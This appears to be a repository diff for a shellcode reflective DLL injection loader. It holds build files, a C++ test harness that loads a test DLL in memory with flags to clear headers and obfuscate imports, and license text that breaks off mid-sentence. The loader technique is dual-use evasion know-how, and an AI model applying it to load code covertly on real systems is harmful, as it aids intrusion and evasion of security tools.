</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>copy /y $(TargetPath) $(SolutionDir)bin\DotNetLoader_$(PlatformName).exe</PostBuildEvent>
</PropertyGroup>
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("RDIShellcodeLoader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("RDIShellcodeLoader")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("fd50dee9-91ab-4449-ba55-27c71098076b")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+118
View File
@@ -0,0 +1,118 @@
// FunctionTest.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <string>
#define SRDI_CLEARHEADER 0x1
#define SRDI_CLEARMEMORY 0x2
#define SRDI_OBFUSCATEIMPORTS 0x4
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva)
FARPROC GetProcAddressR(HMODULE hModule, LPCSTR lpProcName)
{
if (hModule == NULL || lpProcName == NULL)
return NULL;
PIMAGE_NT_HEADERS ntHeaders = RVA(PIMAGE_NT_HEADERS, hModule, ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_DATA_DIRECTORY dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dataDir->Size)
return NULL;
PIMAGE_EXPORT_DIRECTORY exportDir = RVA(PIMAGE_EXPORT_DIRECTORY, hModule, dataDir->VirtualAddress);
if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions)
return NULL;
PDWORD expName = RVA(PDWORD, hModule, exportDir->AddressOfNames);
PWORD expOrdinal = RVA(PWORD, hModule, exportDir->AddressOfNameOrdinals);
LPCSTR expNameStr;
for (DWORD i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) {
expNameStr = RVA(LPCSTR, hModule, *expName);
if (!expNameStr)
break;
if (!_stricmp(lpProcName, expNameStr)) {
DWORD funcRva = *RVA(PDWORD, hModule, exportDir->AddressOfFunctions + (*expOrdinal * 4));
return RVA(FARPROC, hModule, funcRva);
}
}
return NULL;
}
DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size)
{
std::FILE *fp = std::fopen(filename, "rb");
if (fp)
{
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
*data = (LPSTR)malloc(size + 1);
fread(*data, size, 1, fp);
fclose(fp);
return true;
}
return false;
}
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
DWORD HashFunctionName(LPSTR name) {
DWORD hash = 0;
do
{
hash = ROTR32(hash, 13);
hash += *name;
name++;
} while (*(name - 1) != 0);
return hash;
}
extern "C" ULONG_PTR LoadDLL(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen, DWORD flags);
int main()
{
LPSTR buffer = NULL;
DWORD bufferSize = 0;
HMODULE test = LoadLibraryA("User32.dll"); // For MessageBox Testing
#ifdef _WIN64
LPCSTR fileName = "../bin/TestDLL_x64.dll";
#else
LPCSTR fileName = "../bin/TestDLL_x86.dll";
#endif
DWORD result = GetFileContents(fileName, &buffer, bufferSize);
if (!result || buffer == NULL) {
printf("[!] Cannot read file.");
return 1;
}
LoadDLL(
(ULONG_PTR)buffer,
HashFunctionName("SayGoodbye"),
NULL, 0,
SRDI_CLEARHEADER | SRDI_CLEARMEMORY // | SRDI_OBFUSCATEIMPORTS | (3 << 16)
);
return 0;
}
@@ -0,0 +1,155 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>FunctionTest</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>TESTING;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>TESTING;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>TESTING;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>TESTING;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\ShellcodeRDI\64BitHelper.h" />
<ClInclude Include="..\ShellcodeRDI\GetProcAddressWithHash.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\ShellcodeRDI\ShellcodeRDI.c" />
<ClCompile Include="FunctionTest.cpp" />
<ClCompile Include="stdafx.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\ShellcodeRDI\GetProcAddressWithHash.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\ShellcodeRDI\64BitHelper.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="FunctionTest.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="..\ShellcodeRDI\ShellcodeRDI.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+8
View File
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// FunctionTest.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
+15
View File
@@ -0,0 +1,15 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
+8
View File
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+727
View File
@@ -0,0 +1,727 @@
***********************************************************************************************
PIC_BindShell primitives and related works are released under the license below.
***********************************************************************************************
Copyright (c) 2013, Matthew Graeber
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
***********************************************************************************************
Reflective DLL Injection primitives and related works are released under the license below.
***********************************************************************************************
Copyright (c) 2015, Dan Staples
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
***********************************************************************************************
All other works under this project are licensed under GNU GPLv3
***********************************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
